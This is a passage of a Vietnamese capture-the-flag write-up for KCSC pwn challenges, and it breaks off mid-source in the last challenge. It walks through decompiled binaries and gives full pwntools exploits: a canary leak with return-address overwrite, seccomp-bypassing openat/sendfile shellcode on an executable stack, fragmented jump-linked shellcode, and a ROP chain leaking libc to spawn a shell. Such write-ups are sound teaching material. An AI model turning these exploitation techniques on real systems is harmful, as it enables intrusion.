<p>-&gt; Mục tiêu là ghi đè saved rip của hàm <code>send_buff</code> đè sau đó nhảy vào <code>admin</code> chứ không quay lại hàm <code>run</code>. Vì PIE tắt nên có thể lấy được địa chỉ của hàm <code>admin</code> = <code>0x4014d3</code></p>
<p><img src="https://hackmd.io/_uploads/SJBs7ocDkl.png" alt="Screenshot 2025-01-19 230844" /></p>
<ul>
<li>Trong kiến trúc 64-bit thì khi một hàm được gọi thì giá trị <code>rsp</code> phải luôn được <a target="_blank" href="https://ir0nstone.gitbook.io/notes/binexp/stack/return-oriented-programming/stack-alignment">căn chỉnh</a> sao cho chia hết cho 16 (lsb của rsp = 0 chứ không phải 8) vậy nên khi ghi đè saved rip thì sẽ ghi giá trị <code>0x4014d8</code>, bỏ qua <code>push rbp</code> để không bị dính lỗi</li>
</ul>
<blockquote>
<p>KCSC{c279cb580a741137b9a30096ca3b9706}</p>
</blockquote>
<p><strong>Full script</strong></p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/python3</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

context.binary = exe = ELF(<span class="hljs-string">'./main'</span>, checksec=<span class="hljs-literal">False</span>)

info = <span class="hljs-keyword">lambda</span> msg: log.info(msg)
sla = <span class="hljs-keyword">lambda</span> msg, data: p.sendlineafter(msg, data)
sa = <span class="hljs-keyword">lambda</span> msg, data: p.sendafter(msg, data)
sl = <span class="hljs-keyword">lambda</span> data: p.sendline(data)
s = <span class="hljs-keyword">lambda</span> data: p.send(data)
slan = <span class="hljs-keyword">lambda</span> msg, num: sla(msg, str(num).encode())
san = <span class="hljs-keyword">lambda</span> msg, num: sa(msg, str(num).encode())
sln = <span class="hljs-keyword">lambda</span> num: sl(str(num).encode())
sn = <span class="hljs-keyword">lambda</span> num: s(str(num).encode())
r = <span class="hljs-keyword">lambda</span> nbytes: p.recv(nbytes)
ru = <span class="hljs-keyword">lambda</span> data: p.recvuntil(data)
rl = <span class="hljs-keyword">lambda</span> : p.recvline()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">GDB</span>():</span>
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> args.REMOTE:
        gdb.attach(p, gdbscript=<span class="hljs-string">f'''
            # b*0x40135b
            # b*0x4015db
            b*0x4013d4
            c
            '''</span>)

<span class="hljs-keyword">if</span> args.REMOTE:
    conn = <span class="hljs-string">'nc 36.50.177.41 50002'</span>.split()
    p = remote(conn[<span class="hljs-number">1</span>], int(conn[<span class="hljs-number">2</span>]))
<span class="hljs-keyword">else</span>:
    p = process(exe.path)
GDB()

admin = <span class="hljs-number">0x4014d3</span>
slan(<span class="hljs-string">b'&gt; '</span>, <span class="hljs-number">1</span>)
sla(<span class="hljs-string">b'id 0: '</span>, <span class="hljs-string">b'1'</span>)
sla(<span class="hljs-string">b'id 1: '</span>, <span class="hljs-string">b'1'</span>)
sla(<span class="hljs-string">b'id 2: '</span>, <span class="hljs-string">b'1'</span>)
sla(<span class="hljs-string">b'id 3: '</span>, <span class="hljs-string">b'+'</span>)
slan(<span class="hljs-string">b'&gt; '</span>, <span class="hljs-number">2</span>)
ru(<span class="hljs-string">b'communication id: [ 1 1 1 '</span>)
canary = int(ru(<span class="hljs-string">b'  ]'</span>)[:<span class="hljs-number">-3</span>])
info(<span class="hljs-string">'[*] canary: '</span> + hex(canary))
sleep(<span class="hljs-number">1</span>)
payload = <span class="hljs-string">b'\0'</span>*<span class="hljs-number">0x3e8</span> + p64(canary) + <span class="hljs-string">b'\0'</span>*<span class="hljs-number">8</span> + p64(admin+<span class="hljs-number">5</span>)
sl(payload)

p.interactive()
</code></pre>
<h3 id="heading-ccrash">ccrash</h3>
<p><strong>Phân tích</strong></p>
<p><img src="https://hackmd.io/_uploads/rkL9XWnDke.png" alt="image" /></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> __fastcall <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **argv, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **envp)</span>
</span>{
  <span class="hljs-keyword">char</span> result[<span class="hljs-number">1024</span>]; <span class="hljs-comment">// [rsp+0h] [rbp-400h] BYREF</span>

  setbuf(<span class="hljs-built_in">stdin</span>, <span class="hljs-number">0L</span>L);
  setbuf(_bss_start, <span class="hljs-number">0L</span>L);
  setup();
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Test::Test: Assertion 'false' failed!"</span>);
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Callstack:"</span>);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"dbg::handle_assert(214) in mylib.dll %p: Test::Test(9) in mylib.dll\n"</span>, result);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"myfunc(10) in TestStackTrace %p: main(23) in TestStackTrace\n"</span>, trace);
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"invoke_main(65) in TestStackTrace"</span>);
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"_scrt_common_main_seh(253) in TestStackTrace "</span>);
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"OK"</span>);
  read(<span class="hljs-number">0</span>, result, <span class="hljs-number">0x410</span>uLL);
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<ul>
<li><p>Có thể thấy ngay được ở dòng 10 bài đã cho địa chỉ của mảng <code>result</code> -&gt; có địa chỉ stack</p>
</li>
<li><p>Ở dòng 10, có <code>Stack Buffer Overflow</code> ở hàm read khi có thể vừa đủ ghi đè saved rbp và saved rip</p>
</li>
<li><p>Ngó qua hàm setup()</p>
</li>
</ul>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> __cdecl <span class="hljs-title">setup</span><span class="hljs-params">()</span>
</span>{
  scmp_filter_ctx ctx; <span class="hljs-comment">// [rsp+0h] [rbp-20h]</span>
  <span class="hljs-keyword">size_t</span> page_size; <span class="hljs-comment">// [rsp+18h] [rbp-8h]</span>
  __int64 savedregs; <span class="hljs-comment">// [rsp+20h] [rbp+0h] BYREF</span>

  page_size = sysconf(<span class="hljs-number">30</span>);
  mprotect((<span class="hljs-keyword">void</span> *)(-(__int64)page_size &amp; (<span class="hljs-keyword">unsigned</span> __int64)&amp;savedregs), page_size, <span class="hljs-number">7</span>);
  ctx = (scmp_filter_ctx)seccomp_init(<span class="hljs-number">2147418112L</span>L);
  <span class="hljs-keyword">if</span> ( ctx )
  {
    <span class="hljs-keyword">if</span> ( (<span class="hljs-keyword">int</span>)seccomp_rule_add(ctx, <span class="hljs-number">327681L</span>L, <span class="hljs-number">59L</span>L, <span class="hljs-number">0L</span>L) &lt; <span class="hljs-number">0</span> || (<span class="hljs-keyword">int</span>)seccomp_rule_add(ctx, <span class="hljs-number">327681L</span>L, <span class="hljs-number">322L</span>L, <span class="hljs-number">0L</span>L) &lt; <span class="hljs-number">0</span> )
    {
      perror(<span class="hljs-string">"seccomp_rule_add (execve) failed"</span>);
      seccomp_release(ctx);
    }
    <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> ( (<span class="hljs-keyword">int</span>)seccomp_rule_add(ctx, <span class="hljs-number">327681L</span>L, <span class="hljs-number">2L</span>L, <span class="hljs-number">0L</span>L) &gt;= <span class="hljs-number">0</span> )
    {
      <span class="hljs-keyword">if</span> ( (<span class="hljs-keyword">int</span>)seccomp_load(ctx) &lt; <span class="hljs-number">0</span> )
      {
        perror(<span class="hljs-string">"seccomp_load failed"</span>);
        seccomp_release(ctx);
      }
    }
    <span class="hljs-keyword">else</span>
    {
      perror(<span class="hljs-string">"seccomp_rule_add (open) failed"</span>);
      seccomp_release(ctx);
    }
  }
  <span class="hljs-keyword">else</span>
  {
    perror(<span class="hljs-string">"seccomp_init failed"</span>);
  }
}
</code></pre>
<ul>
<li><p>Đầu tiên dùng <code>sysconf(30)</code> để lấy giá trị <code>page_size</code> (0x1000)</p>
</li>
<li><p>Sau đó lấy địa chỉ của <code>savedregs</code> để <code>&amp;</code> với <code>-page_size</code> =&gt; biến 3 byte thấp nhất của <code>savedregs</code> thành 000 sau đó thay đổi quyền của vùng nhớ vừa tính được ở bên trên thành Read-Write-Excute</p>
<p>  <img src="https://hackmd.io/_uploads/r1kcwbnP1x.png" alt="image" /></p>
</li>
<li><p>Mà ở hàm main đã cho địa chỉ stack =&gt; nghĩ đến ngay chạy shellcode trên stack</p>
</li>
<li><p>Đoạn code tiếp theo là cơ chế SECCOMP, nó dùng để cấm các syscall không cần thiết để giảm bớt được rủi ro chương trình bị khai thác</p>
<p>  <img src="https://hackmd.io/_uploads/By8ddZhD1l.png" alt="Screenshot 2025-01-21 003114" /></p>
</li>
<li><p>Vậy là chương trình không thể thực thi các syscall <code>open</code>, <code>execve</code> hay <code>execveat</code></p>
</li>
<li><p>Tuy nhiên chỉ như vậy là chưa đủ, vẫn còn rất nhiều cách khác để có thể lấy được flag, ở đây mình dùng syscall <a target="_blank" href="https://linux.die.net/man/2/openat">openat</a> và <a target="_blank" href="https://man7.org/linux/man-pages/man2/sendfile.2.html">sendfile</a></p>
<ul>
<li><p><code>openat(-100, "flag.txt", 0)</code> -&gt; mở file <code>flag.txt</code></p>
<ul>
<li><p><code>-100</code> (<code>AT_FDCWD</code>) là để tìm kiếm file trong cùng thư mục với chương trình (Thường thì chall và flag sẽ cùng thư mục)</p>
</li>
<li><p><code>0</code> để biểu thị cho việc mở file để đọc</p>
</li>
<li><p>sau khi mở file thành công sẽ trả về một file descriptor trong <code>rax</code></p>
</li>
</ul>
</li>
<li><p><code>sendfile(1, fd, 0, 100)</code> -&gt; đọc nội dung từ <code>flag.txt</code> ra <code>stdout</code></p>
<ul>
<li><p><code>1</code> là file descriptor của stdout</p>
</li>
<li><p><code>fd</code> là file descriptor nhận được sau khi mở file thành công</p>
</li>
<li><p><code>0</code> là offset, đọc từ đầu file</p>
</li>
<li><p><code>100</code> là độ dài nội dung muốn đọc</p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<p><strong>Khai thác</strong></p>
<ul>
<li>Để cho nhanh thì mình dùng pwntools để hỗ trợ việc viết shellcode</li>
</ul>
<pre><code class="lang-plaintext">shellcode = shellcraft.openat(-100, 'flag.txt', 0)
shellcode += shellcraft.sendfile(1, 'rax', 0, 100)
</code></pre>
<ul>
<li><p>Việc đầu tiên cần làm là phải ghi được shellcode vào vùng stack có thể thực thi</p>
<p>  <img src="https://hackmd.io/_uploads/BJxzh-3D1e.png" alt="image" /></p>
</li>
<li><p>Dùng gdb quan sát hàm <code>main</code> thì thấy rằng ở đoạn này sẽ dùng hàm read để ghi vào địa chỉ <code>rbp-0x400</code> -&gt; đầu tiên sẽ ghi đè:</p>
<ul>
<li><p><code>saved rbp</code> =&gt; địa chỉ stack thực thi được + 0x400</p>
</li>
<li><p><code>saved rip</code> =&gt; <code>0x4014a6</code></p>
</li>
</ul>
</li>
<li><p>Rồi sau đó ghi shellcode vào và nhảy đến shellcode là có flag</p>
</li>
</ul>
<blockquote>
<p>KCSC{_f3_deba3756312c79f925913b50cdd9b9}</p>
</blockquote>
<p><strong>Full script</strong></p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/python3</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

context.binary = exe = ELF(<span class="hljs-string">'./main'</span>, checksec=<span class="hljs-literal">False</span>)

info = <span class="hljs-keyword">lambda</span> msg: log.info(msg)
sla = <span class="hljs-keyword">lambda</span> msg, data: p.sendlineafter(msg, data)
sa = <span class="hljs-keyword">lambda</span> msg, data: p.sendafter(msg, data)
sl = <span class="hljs-keyword">lambda</span> data: p.sendline(data)
s = <span class="hljs-keyword">lambda</span> data: p.send(data)
slan = <span class="hljs-keyword">lambda</span> msg, num: sla(msg, str(num).encode())
san = <span class="hljs-keyword">lambda</span> msg, num: sa(msg, str(num).encode())
sln = <span class="hljs-keyword">lambda</span> num: sl(str(num).encode())
sn = <span class="hljs-keyword">lambda</span> num: s(str(num).encode())
r = <span class="hljs-keyword">lambda</span> nbytes: p.recv(nbytes)
ru = <span class="hljs-keyword">lambda</span> data: p.recvuntil(data)
rl = <span class="hljs-keyword">lambda</span> : p.recvline()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">GDB</span>():</span>
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> args.REMOTE:
        gdb.attach(p, gdbscript=<span class="hljs-string">f'''
            b*0x4014c5
            c
            '''</span>)

<span class="hljs-keyword">if</span> args.REMOTE:
    conn = <span class="hljs-string">'nc 36.50.177.41 50001'</span>.split()
    p = remote(conn[<span class="hljs-number">1</span>], int(conn[<span class="hljs-number">2</span>]))
<span class="hljs-keyword">else</span>:
    p = process(exe.path)
GDB()

ru(<span class="hljs-string">b'mylib.dll '</span>)
stack_leak = int(r(<span class="hljs-number">14</span>), <span class="hljs-number">16</span>)
rwx_addr = stack_leak &amp; ~<span class="hljs-number">0xfff</span>
info(<span class="hljs-string">'[*] stack leak: '</span> + hex(stack_leak))
info(<span class="hljs-string">'[*] executable address: '</span> + hex(rwx_addr))

read_in_main = <span class="hljs-number">0x4014a6</span>
payload = <span class="hljs-string">b'A'</span>*<span class="hljs-number">1024</span> + p64(rwx_addr+<span class="hljs-number">0x400</span>) + p64(read_in_main)
sa(<span class="hljs-string">b'OK\n'</span>, payload)

shellcode = asm(shellcraft.openat(<span class="hljs-number">-100</span>, <span class="hljs-string">'flag.txt'</span>, <span class="hljs-number">0</span>))
shellcode += asm(shellcraft.sendfile(<span class="hljs-number">1</span>, <span class="hljs-string">'rax'</span>, <span class="hljs-number">0</span>, <span class="hljs-number">100</span>))
shellcode = shellcode.ljust(<span class="hljs-number">1032</span>, <span class="hljs-string">b'\x90'</span>) + p64(rwx_addr)
sleep(<span class="hljs-number">1</span>)
s(shellcode)

p.interactive()
</code></pre>
<h3 id="heading-chodan">Chodan</h3>
<p><strong>Phân tích</strong></p>
<p><img src="https://hackmd.io/_uploads/Hk0YTbnvkg.png" alt="image" /></p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdint.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;string.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> __USE_MISC  </span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;sys/mman.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;fcntl.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> CODE_SIZE 0x100</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> NAME_SIZE 0x10</span>

<span class="hljs-keyword">void</span> (*code)();

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">setup</span><span class="hljs-params">()</span>
</span>{
    setvbuf(<span class="hljs-built_in">stdin</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>);
    setvbuf(<span class="hljs-built_in">stdout</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>);
    setvbuf(<span class="hljs-built_in">stderr</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>);

    code = mmap(<span class="hljs-literal">NULL</span>, CODE_SIZE, PROT_READ | PROT_READ | PROT_EXEC | PROT_WRITE, \
                    MAP_PRIVATE | MAP_ANONYMOUS, <span class="hljs-number">-1</span>, <span class="hljs-number">0</span>);
    <span class="hljs-keyword">if</span>(!code)
    {
        perror(<span class="hljs-string">"Init code failed"</span>);
        <span class="hljs-built_in">exit</span>(<span class="hljs-number">-1</span>);
    }
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span>
</span>{
    setup();
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Your shellcode: "</span>);
    read(<span class="hljs-number">0</span>, code, CODE_SIZE);
    close(<span class="hljs-number">0</span>);
    <span class="hljs-keyword">uint8_t</span> *cur = (<span class="hljs-keyword">uint8_t</span>*)code + <span class="hljs-number">8</span>;
    <span class="hljs-keyword">while</span>(cur + <span class="hljs-number">8</span> &lt; code + CODE_SIZE)
    {
        <span class="hljs-built_in">memset</span>(cur, <span class="hljs-number">0</span>, <span class="hljs-number">8</span>);
        cur += <span class="hljs-number">16</span>;
    }
    <span class="hljs-function"><span class="hljs-keyword">asm</span> <span class="hljs-title">volatile</span><span class="hljs-params">(
        <span class="hljs-string">".intel_syntax noprefix;"</span>
        <span class="hljs-string">"mov rax, 0xdededede;"</span>
        <span class="hljs-string">"mov rdi, 0xcafebabe;"</span>
        <span class="hljs-string">"mov rdx, 0xdcdcdcdc;"</span>
        <span class="hljs-string">"mov rbx, 0xaaaaaaaaaa;"</span>
        <span class="hljs-string">"mov rcx, 0xcccc;"</span>
        <span class="hljs-string">"mov rsi, 0xccacaaaaac;"</span>
        <span class="hljs-string">".att_syntax prefix;"</span>
    )</span></span>;
    code();
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<ul>
<li><p>Hàm <code>setup</code> có tạo vùng nhớ mới và cấp cho quyền Read-Write-Excute</p>
</li>
<li><p>Ở hàm <code>main</code> sẽ cho ta nhâọ vào shellcode</p>
</li>
<li><p><code>close(0)</code> là đóng stdin -&gt; không thể nhập vào lần nữa -&gt; shell code sẽ là <code>open</code> và <code>sendfile</code> (không <code>execve("/bin/sh\0", 0, 0)</code> vì vẫn cần phải nhập <code>cat /flag</code>)</p>
</li>
<li><p>Tuy nhiên thì code dưới sẽ làm shellcode ta nhập vào để lại 8 byte, xóa 8 byte, để 8 byte, ... liên tiếp như vậy rồi thay đổi giá trị một số thanh ghi và thực thi shellcode =&gt; ta cần viết shellcode sao cho đoạn cần thực thi không bị xóa, chia nhiều đoạn nhỏ và sẽ nối với nhau bằng lệnh <code>jmp</code>/<code>jne</code>/<code>je</code>...</p>
</li>
</ul>
<blockquote>
<p>Trang web hỗ trợ tính toán độ dài shellcode: <a target="_blank" href="https://defuse.ca/online-x86-assembler.htm#disassembly">https://defuse.ca/online-x86-assembler.htm#disassembly</a></p>
<p>KCSC{YeJEonChEOReOm_YEOpEsE0_BaP_MEOgEOdO_Uy30nhI_NuNI_5@ljj@k_m@JuCHyEOdo}</p>
</blockquote>
<p><strong>Shellcode</strong></p>
<pre><code class="lang-plaintext"># /flag = 0x67616c662f
shellcode = asm('''
mov esi, 0x67
    ''', arch='amd64') + b'\x74\x09' + b'\x90'*9

shellcode += asm('''
shl rsi, 32
    ''', arch='amd64') + b'\x75\x0a' + b'\x90'*10

shellcode += asm('''
mov edi, 0x616c662f
    ''', arch='amd64') + b'\x75\x09' + b'\x90'*9

shellcode += asm('''
xor rsi, rdi
push rsi
push rsp
pop rdi
    ''', arch='amd64') + b'\x75\x08' + b'\x90'*8

shellcode += asm('''
xor rsi, rsi
push rsi
pop rdx
    ''', arch='amd64') + b'\x74\x09' + b'\x90'*9

shellcode += asm('''
mov al, 0x2
syscall
push rax
pop rsi
    ''', arch='amd64') + b'\x74\x08' + b'\x90'*8

shellcode += asm('''
push rax
pop rdi
inc rdi
    ''', arch='amd64') + b'\x75\x09' + b'\x90'*9

shellcode += asm('''
mov al, 0x28
mov r10b, 0xff
syscall
    ''', arch='amd64') + b'\x75\x08' + b'\x90'*8
</code></pre>
<blockquote>
<p>mình viết các lệnh jump (0x75/0x74) bằng pwntools thì bị lỗi nên viết trực tiếp các byte luôn</p>
</blockquote>
<h3 id="heading-babyrop">babyROP</h3>
<p><strong>Phân tích</strong></p>
<p><img src="https://hackmd.io/_uploads/S1zVXP2Dke.png" alt="Screenshot 2025-01-21 010842" /></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> __fastcall <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **argv, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **envp)</span>
</span>{
  <span class="hljs-keyword">char</span> s[<span class="hljs-number">64</span>]; <span class="hljs-comment">// [rsp+0h] [rbp-40h] BYREF</span>

  setup(argc, argv, envp);
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Welcome to KCSC Recruitment !!!"</span>);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Data: "</span>);
  fgets(s, <span class="hljs-number">4919</span>, <span class="hljs-built_in">stdin</span>);
  <span class="hljs-keyword">if</span> ( <span class="hljs-built_in">strlen</span>(s) &gt; <span class="hljs-number">0x40</span> )
  {
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Buffer overflow ??? No way."</span>);
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
  }
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Thank for playing :)"</span>);
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<ul>
<li><p>Ở đây có lỗi <code>Stack Buffer Overflow</code> ở hàm <code>fgets</code></p>
</li>
<li><p>Vậy chỉ cần ROP để leak libc rồi thực thi <code>system("/bin/sh")</code></p>
</li>
<li><p>Giá trị các thanh ghi khi <code>ret</code></p>
</li>
<li><p>Tuy nhiên thì khi mình tìm gadget thì không cài nào dùng được :((</p>
</li>
<li><p>Sau một hồi bế tắc thì mình quyết định ngồi gdb xem từng dòng code thì phát hiện ra một điều thú vị</p>
</li>
<li><p>Sau khi hàm <code>printf()</code> được gọi thì sẽ để lại một con trỏ trỏ đến địa chỉ libc trong <code>rdi</code> -&gt; dùng <code>puts</code> để leak libc -&gt; quay lại main lần nữa để ROP lấy shell</p>
</li>
</ul>
<blockquote>
<p>KCSC{GOToverwrite_is_Amazing_eab60643273379b005464b6ec048a6d4}</p>
<p>Vậy còn một cách nữa là GOToverwrite</p>
</blockquote>
<p><strong>Full script</strong></p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/python3</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

context.binary = exe = ELF(<span class="hljs-string">'./chall_patched'</span>, checksec=<span class="hljs-literal">False</span>)
libc = ELF(<span class="hljs-string">'./libc.so.6'</span>, checksec=<span class="hljs-literal">False</span>)
ld = ELF(<span class="hljs-string">'./ld-linux-x86-64.so.2'</span>, checksec=<span class="hljs-literal">False</span>)

info = <span class="hljs-keyword">lambda</span> msg: log.info(msg)
sla = <span class="hljs-keyword">lambda</span> msg, data: p.sendlineafter(msg, data)
sa = <span class="hljs-keyword">lambda</span> msg, data: p.sendafter(msg, data)
sl = <span class="hljs-keyword">lambda</span> data: p.sendline(data)
s = <span class="hljs-keyword">lambda</span> data: p.send(data)
slan = <span class="hljs-keyword">lambda</span> msg, num: sla(msg, str(num).encode())
san = <span class="hljs-keyword">lambda</span> msg, num: sa(msg, str(num).encode())
sln = <span class="hljs-keyword">lambda</span> num: sl(str(num).encode())
sn = <span class="hljs-keyword">lambda</span> num: s(str(num).encode())
r = <span class="hljs-keyword">lambda</span> nbytes: p.recv(nbytes)
ru = <span class="hljs-keyword">lambda</span> data: p.recvuntil(data)
rl = <span class="hljs-keyword">lambda</span> : p.recvline()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">GDB</span>():</span>
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> args.REMOTE:
        gdb.attach(p, gdbscript=<span class="hljs-string">f'''
            b*0x4012cb
            c
            '''</span>)

<span class="hljs-keyword">if</span> args.REMOTE:
    conn = <span class="hljs-string">'nc 36.50.177.41 50003'</span>.split()
    p = remote(conn[<span class="hljs-number">1</span>], int(conn[<span class="hljs-number">2</span>]))
<span class="hljs-keyword">else</span>:
    p = process(exe.path)
GDB()

ret = <span class="hljs-number">0x40101a</span>
<span class="hljs-comment"># ret để không bị dính lỗi căn chỉnh stack</span>
payload = <span class="hljs-string">b'\0'</span>*<span class="hljs-number">0x48</span> + p64(ret) + p64(exe.plt.printf)
payload += p64(exe.plt.puts) + p64(exe.sym.main)
sla(<span class="hljs-string">b'Data: '</span>, payload)

ru(<span class="hljs-string">b'Thank for playing :)\n'</span>)
libc_leak = u64(r(<span class="hljs-number">6</span>) + <span class="hljs-string">b'\0\0'</span>)
libc.address = libc_leak - <span class="hljs-number">0x62050</span>
info(<span class="hljs-string">'[*] libc leak: '</span> + hex(libc_leak))
info(<span class="hljs-string">'[*] libc base: '</span> + hex(libc.address))

pop_rdi = libc.address + <span class="hljs-number">0x2a3e5</span>
payload = <span class="hljs-string">b'\0'</span>*<span class="hljs-number">0x48</span> + p64(ret) + p64(pop_rdi) + p64(next(libc.search(<span class="hljs-string">b'/bin/sh\0'</span>))) + p64(libc.sym.system)
sla(<span class="hljs-string">b'Data: '</span>, payload)

p.interactive()
</code></pre>
<h3 id="heading-laptrinhcanban">LapTrinhCanBan</h3>
<p><strong>Phân tích</strong></p>
<p><img src="https://hackmd.io/_uploads/HJG-SdnDyx.png" alt="image" /></p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span><span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span><span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span><span class="hljs-meta-string">&lt;string.h&gt;</span></span>
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">setup</span><span class="hljs-params">()</span> </span>{
    setvbuf(<span class="hljs-built_in">stdin</span>, <span class="hljs-literal">NULL</span>, _IONBF, <span class="hljs-number">0</span>);
    setvbuf(<span class="hljs-built_in">stdout</span>, <span class="hljs-literal">NULL</span>, _IONBF, <span class="hljs-number">0</span>);
    setvbuf(<span class="hljs-built_in">stderr</span>, <span class="hljs-literal">NULL</span>, _IONBF, <span class="hljs-number">0</span>);
}
<span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">sinhVien</span> {</span>
    <span class="hljs-keyword">char</span> *name;
    <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> age;
    <span class="hljs-keyword">float</span> score;
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">sinhVien</span> *<span class="hljs-title">next</span>;</span>
};
<span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">sinhVien</span> <span class="hljs-title">sinhVien</span>;</span>
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">my_read</span><span class="hljs-params">(<span class="hljs-keyword">char</span> buf[],<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> size)</span></span>{
    <span class="hljs-keyword">int</span> len ,i ;
    len = read(<span class="hljs-number">0</span>,buf,size) ;
    <span class="hljs-keyword">for</span>(i =<span class="hljs-number">0</span> ;i&lt;len;i++){
        <span class="hljs-keyword">if</span>(buf[i]==<span class="hljs-string">'\n'</span>){
            buf[i] = <span class="hljs-literal">NULL</span> ;
        }
    }
    <span class="hljs-keyword">return</span> len ;
}
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">menu</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"1. Add student"</span>);
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"2. Print student"</span>);
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"3. Delete student"</span>);
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"4. Exit"</span>);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"&gt; "</span>);
}

<span class="hljs-function">sinhVien *<span class="hljs-title">makeSV</span><span class="hljs-params">()</span> </span>{
    sinhVien *newSV = (sinhVien*)<span class="hljs-built_in">malloc</span>(<span class="hljs-keyword">sizeof</span>(sinhVien));
    <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> size ;
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Size name: "</span>);
    <span class="hljs-built_in">scanf</span>(<span class="hljs-string">"%u"</span>,&amp;size) ;
    newSV-&gt;name = <span class="hljs-built_in">malloc</span>(size);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Name: "</span>);
    my_read(newSV-&gt;name,<span class="hljs-number">0x1337</span>);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Age: "</span>);
    <span class="hljs-built_in">scanf</span>(<span class="hljs-string">"%u"</span>, &amp;newSV-&gt;age);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Score: "</span>);
    <span class="hljs-built_in">scanf</span>(<span class="hljs-string">"%f"</span>, &amp;newSV-&gt;score);
    getchar();
    newSV-&gt;next = <span class="hljs-literal">NULL</span>;
    <span class="hljs-keyword">return</span> newSV;
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">add</span><span class="hljs-params">(sinhVien** top)</span> </span>{
    sinhVien* newnode = makeSV();
    <span class="hljs-keyword">if</span> (*top == <span class="hljs-literal">NULL</span>) {
        *top = newnode;
    } <span class="hljs-keyword">else</span> {
        sinhVien* tmp = *top;
        <span class="hljs-keyword">while</span> (tmp-&gt;next != <span class="hljs-literal">NULL</span>) {
            tmp = tmp-&gt;next;
        }
        tmp-&gt;next = newnode;
    }
